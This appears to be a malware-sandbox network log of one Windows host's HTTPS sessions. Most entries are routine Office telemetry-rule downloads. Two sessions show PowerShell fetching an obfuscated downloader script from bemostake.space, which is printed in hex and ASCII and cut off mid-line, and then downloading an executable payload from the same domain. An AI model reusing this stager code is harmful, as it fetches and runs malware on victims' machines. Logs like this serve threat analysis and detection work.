20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.9	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:08 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:08 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2c548d6-d01e-0082-4f03-17e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185208Z-1657d5bbd48tnj6wmberkg2xy800000005fg00000000d8uk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:08 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49752	188.114.96.3	443	7456	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:08 UTC	80	OUT	GET /test.txt HTTP/1.1 Host: 1h982d.bemostake.space Connection: Keep-Alive
2024-10-08 18:52:08 UTC	632	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:08 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close last-modified: Tue, 01 Oct 2024 19:01:46 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LYP1JGGXcwSEfxouKj86z6nGuXPbd6PGMgnVYXyIHXL3T7lVIIKtcd0ErT2DhWKrWUfE3ILNOar1%2FbNDBXxx6KaDJcVc9wkU42FsXZpTV6nZXmzGLH3MmsX0iuVQvfsjf8IVyRtHqHQ9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf85389cbc68c05-EWR
2024-10-08 18:52:08 UTC	709	IN	Data Raw: 32 62 65 0d 0a 24 66 6c 6f 6c 3d 69 65 78 28 24 28 27 5b 45 6e 76 69 72 6f 6e 6d 65 6e 74 5d 3a 3a 47 65 74 45 68 31 7a 74 27 27 27 2e 52 65 70 6c 61 63 65 28 27 68 31 7a 27 2c 27 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 28 27 27 70 75 62 6c 69 63 27 27 29 20 2b 20 27 27 5c 5c 61 6a 62 73 35 30 75 6c 2e 62 61 27 29 29 29 3b 66 75 6e 63 74 69 6f 6e 20 67 65 74 69 74 28 5b 73 74 72 69 6e 67 5d 24 66 7a 2c 20 5b 73 74 72 69 6e 67 5d 24 6f 75 6c 76 29 7b 24 66 66 3d 69 65 78 28 24 28 27 28 4e 77 78 77 6c 77 2d 4f 62 6a 77 78 77 6c 63 74 20 53 79 73 74 77 78 77 6c 6d 2e 4e 77 78 77 6c 74 2e 57 77 78 77 6c 62 43 6c 69 77 78 77 6c 6e 74 29 2e 44 6f 77 6e 67 64 76 69 65 28 24 6f 75 6c 76 2e 52 65 70 6c 61 63 65 28 27 27 76 37 69 39 27 27 2c 27 27 74 Data Ascii: 2be$flol=iex($('[Environment]::GetEh1zt'''.Replace('h1z','nvironmentVariable(''public'') + ''\\ajbs50ul.ba')));function getit([string]$fz, [string]$oulv){$ff=iex($('(Nwxwlw-Objwxwlct Systwxwlm.Nwxwlt.WwxwlbCliwxwlnt).Downgdvie($oulv.Replace(''v7i9'',''t
2024-10-08 18:52:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.9	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:08 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:08 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 7709e3c3-b01e-0097-5e02-174f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185208Z-1657d5bbd48762wn1qw4s5sd30000000059000000000avs6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:08 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.9	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:08 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:08 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185208Z-1657d5bbd48xdq5dkwwugdpzr000000005rg00000000aef5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:08 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.9	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:08 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:08 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 5a5a1e5c-a01e-001e-18f5-1649ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185208Z-1657d5bbd48t66tjar5xuq22r800000005eg000000001rua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:08 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.9	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:08 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:08 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185208Z-1657d5bbd48tqvfc1ysmtbdrg00000000540000000011y6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:08 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.9	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:08 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185209Z-1657d5bbd48762wn1qw4s5sd30000000058000000000g99g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.9	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:09 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 04801829-801e-00ac-6301-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185209Z-1657d5bbd48tnj6wmberkg2xy800000005c000000000xp2z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.9	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:09 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:09 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185209Z-1657d5bbd487nf59mzf5b3gk8n0000000540000000000d65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:09 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.9	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:09 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 1ed82642-401e-0048-7b12-170409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185209Z-1657d5bbd48cpbzgkvtewk0wu000000005b0000000011n27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.9	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:09 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:09 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2f3972b1-401e-0035-1b02-1782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185209Z-1657d5bbd48cpbzgkvtewk0wu000000005f000000000g032 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:09 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	49758	188.114.96.3	443	7456	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:09 UTC	127	OUT	GET /test/ast21/g341g43134g/2245h1234/f21f2123/Rh-416-72-341-23.exe HTTP/1.1 Host: bemostake.space Connection: Keep-Alive
2024-10-08 18:52:09 UTC	681	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:09 GMT Content-Type: application/x-msdownload Content-Length: 2322503 Connection: close last-modified: Tue, 01 Oct 2024 18:58:16 GMT x-turbo-charged-by: LiteSpeed Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 48 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KNLKOn3ZnCH6Ry0vCF2md%2F5WUgNnbkm%2BqVmyBHmrXvuG6zVyNcI2jEgRbU4vwtjJNlAZNuRVnnQ9FoAyaH0G2v2X24ZyW7G%2BnBCE1cSfZpgK%2Ficb%2BD4GLeFxjF031v9%2FeKk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf853905e23728d-EWR
